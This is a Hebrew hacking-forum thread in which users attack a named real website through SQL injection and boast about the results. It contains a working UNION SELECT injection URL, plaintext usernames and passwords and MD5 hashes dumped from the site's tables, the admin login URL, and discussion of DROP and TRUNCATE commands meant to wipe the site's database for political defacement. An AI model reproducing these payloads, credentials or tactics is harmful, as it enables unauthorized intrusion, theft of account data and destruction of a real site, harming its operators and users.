זה נקרא אתר פריץ?
http://www.daawa-info.net/bio.php?id=40'
כי זה כותב לי ככה:
אם כן מה אני צריך לעשות עכשיו? ניסיתי לרשום SELECT * FROM UsersTable וזה לא עזר...קוד:Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /home/islamzad/public_html/bio.php on line 264
|
|
כן זה דף פריץ.. להישתמש בתוכנה שלי סתם חח ליראות/ליקרוא את המדריך/סירטון שלי בנושא sqli...
שם מישתמש וסיסמה של האדמין :
http://www.daawa-info.net/bio.php?id=-40+union+all+select+1,concat%28username,char%2858%29,password%29,3,4,5,6,7,8,9,1 0,11,12,13,14,15,16%20from%20users_masar
נערך לאחרונה על ידי roee147; 03-08-2010 בשעה 03:23.
קודם כל תתחיל בלבדוק כמה טבלאות יש שמה.. ע"י הפקודה order by x (במקום X מספר)
הצלחתי להוציא משמה את זה
username wassim
password zazisasi
username naseh
password ikhwan_Gener
username a
password a
עריכה גם בsmf_members יש כמה משתמשים
memberName administrator
passwd 7a3bafe7ed4e825b64aa89598baf1ff9
memberName moumen_o
passwd 577dc190c7834d753839dc68e4e97278
memberName jad
passwd 596c5ea7b72239e5e2cc119ba5b48ac1
נערך לאחרונה על ידי eladking; 03-08-2010 בשעה 03:58.
כל הכבוד!!
פאנל היתחברות : http://www.daawa-info.net/Admin
אתם כבר יודעים מה לעשות!!
מה אתם אומרים נשים באתר דגל ישראל??
מישהו מכן יודע איך לימחוק טבלה כדי שנפיל את האתר?
נערך לאחרונה על ידי roee147; 03-08-2010 בשעה 03:42.
אי אפשר להתחבר לאדמין אני לא מצליח למצוא פיצוח לmd5 אני חושב מחיקת טבלה זה drop table name לא?
וריקון טבלה מנתונים זה
truncate table tablename
נערך לאחרונה על ידי eladking; 03-08-2010 בשעה 03:56.
ה DROP משום מה לא נותן
אני טוען ששנינו אתאיסטים, אני רק מאמין באל אחד פחות ממך.
כשתבין מדוע אתה מבטל את כל שאר האלים האפשרים, תבין מדוע אני מבטל את שלך.
סטפן רוברטס
And Man Created God In His Own Image
Come Out
נו נכון אני מנסה להפיל תאתר- כלומר לימחוק תטבלה הראשית אבל זה לא נותן!!
אי אפשר לעשות DROP דרך SQL injection.
יכול להיות ששינו את הסיסמאות? כי אני לא מצליח להתחבר לאף אחד מהם...
מצאתי הכל...
אפשר לעשות מה שCyber עשו לנו ... (פרצו לאתרים שלנו ואז משם למיילים שלנו..)
חחח אבל זה מסוכן...
מצאתי את הטבלאות והצלחתי להיכנס אליהן כדי לקרוא נתונים אבל לא היה ברשימה של שמות הטבלאות את הטבלה user_masar
היו שם 15 טבלאות כאילו הם החביאו אחת...
אפשר, לא במקרה הזה. אבל אפשר, בעזרת stacked queries.נכתב במקור על ידי razkid
משום מה המסד הוא מסד MySQL אדון גאון ואין אפשרות פה לstacked queries.ה DROP משום מה לא נותן
לא בודקים מספר טבלאות עם order by. בודקים מספר טורים עם order by
למה יש לי תחושה שקראת מאיזה מדריך ומאז אתה חושב שאתה באמת יודע איך להזריק?
ולמה נראה לי שאתה עיוור שלא יודע לראות מאיזה תאריך האשכול? מלפני 3 שנים בתקופה ההיא לא ידעתי כלום
ולמה ניראה לי שאתה עדיין עוקב אחרי מדריכים?
נערך לאחרונה על ידי gibs0n; 07-05-2013 בשעה 16:04.
הרשאות פרסום
ספוילר: 
ציטוט ההודעה
